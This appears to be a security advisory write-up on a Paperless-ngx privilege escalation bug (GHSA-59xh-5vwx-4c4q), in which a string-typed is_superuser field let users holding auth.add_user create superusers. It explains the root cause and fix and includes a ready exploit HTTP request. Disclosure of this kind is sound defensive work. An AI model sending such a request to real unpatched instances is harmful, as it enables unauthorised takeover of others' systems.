Privilege Escalation to Superuser in Paperless-ngx
A type-coercion slip in UserViewSet let any account holding auth.add_user create a full superuser. Published as GHSA-59xh-5vwx-4c4q, CVSS 7.1.
- : Reported to the paperless-ngx maintainers (advisory opened)
- : Fixed in v2.20.11; advisory GHSA-59xh-5vwx-4c4q published
Paperless-ngx is a popular open-source, self-hosted document management system. It ingests scans, PDFs and emails, runs OCR, then tags and full-text-indexes everything into a searchable archive, all behind a Django + Angular web app with multi-user accounts and per-object permissions. Those permissions are exactly what this bug lets a low-privileged user climb past.
Concretely, the bug lives in how Paperless creates accounts. It manages users through a Django REST Framework UserViewSet, and that view's create() never pinned down the type of the is_superuser field. So a caller who was only ever meant to add users could smuggle the superuser flag in and promote themselves. Any account holding auth.add_user, the kind of permission you'd hand a team lead to onboard colleagues, could mint a full superuser and take over the instance. The rest of this is how that type slip happens, and how you trigger it.
Root cause
auth.add_user is meant to say "you may create accounts", not "accounts more powerful than you". But the superuser decision rested on a value whose type was never pinned down, and a non-empty string is truthy:
# illustrative
if data.get("is_superuser"): # "false", "0", "no" are all truthy
... # honoured, with no extra authz check
CWE-697 in one line: the code asked "is this present?" when the security question was "did an authorised caller set this to boolean true?".
Exploit
A foothold account an admin considered low-risk is enough:
POST /api/users/ HTTP/1.1
Authorization: Token <low-priv token with auth.add_user>
Content-Type: application/json
{"username":"x","password":"Sup3r!","is_superuser":"true"}
The account is created with is_superuser = True. Scope unchanged, integrity impact High: administrative state is fully attacker-controlled.
Fix
v2.20.11 only honours the flag when it is a real, validated boolean and the caller already holds the privilege:
serializer.is_valid(raise_exception=True) # is_superuser becomes a real bool
if serializer.validated_data.get("is_superuser") and not request.user.is_superuser:
raise PermissionDenied